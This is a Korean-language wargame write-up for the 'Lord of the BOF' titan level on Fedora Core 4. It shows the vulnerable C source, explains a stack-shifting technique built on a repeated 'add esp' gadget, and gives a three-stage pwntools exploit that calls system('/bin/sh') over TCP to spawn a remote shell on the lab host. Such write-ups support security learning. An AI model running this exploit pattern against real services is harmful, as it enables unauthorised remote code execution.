Fedora Core 4 - Challenge [enigma -> titan


[Summary]

1. main 함수에 존재하는 fgets 함수 실행 전의 add esp, ?의 어셈블리어를 이용하여 esp 레지스터 값을 증가시킬 수 있다.   

2. fgets 함수를 시작하기 전에 돌아갈 주소를 스택에 저장하는데, fgets 함수에서 이 주소를 다른 값으로 원하는 값으로 변조할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF
	- titan
	- Remote BOF on Fedora Core 4
	- hint : ? 
	- port : TCP 8888
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static char buffer[40];
static void (*ftn)();

void print()
{
	printf("nothing here\n");
	fflush(stdout);
}

int main()
{
	char buf[48];
	ftn = print;

	printf("titan : What a tragic mistake.\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(buf,48,stdin);

	// buffer overflow!!
	strcpy(buffer,buf);

	// preventing RTL
	if(((int)ftn & 0xff000000) == 0)
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing buffer
	memset(buffer, 0, 40);

	ftn();
}


[Analysis] 

main 함수에서 fgets 함수를 call하는 어셈블리어보다 먼저 있는 어셈블리어 중 add esp, ? 명령을 반복하여 실행하여 esp 레지스터의 주소를 증가시킬 수 있다. fgets 함수가 stdin으로 입력된 값을 [ebp-52]의 주소에 48바이트 만큼 복사하는데 지속하여 esp 레지스터 주소를 증가시킨다면, 언제가는 [ebp-52]에서 48 바이트만큼의 범위 안에 fgets 함수를 실행하기 전에 다시 돌아갈 주소를 저장해 둔 영역이 포함된다. 따라서 eip 레지스터를 변조할 수 있게 되고 system 함수를 실행하여 임의 명령을 실행할 수 있게 된다.


[Exploit]

import time
from pwn import *

context(arch='x86', os='linux', endian='little')

p = remote("192.168.0.131", 8888)

gadget = 0x08048529
system = 0x7db0e7
binsh = 0x8bd987

# stage 1

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 2

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 3

payload = "A" * 8
payload += p32(system)
payload += "A" * 4
payload += p32(binsh)
payload += "A" * 20
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)

p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


+ Recent posts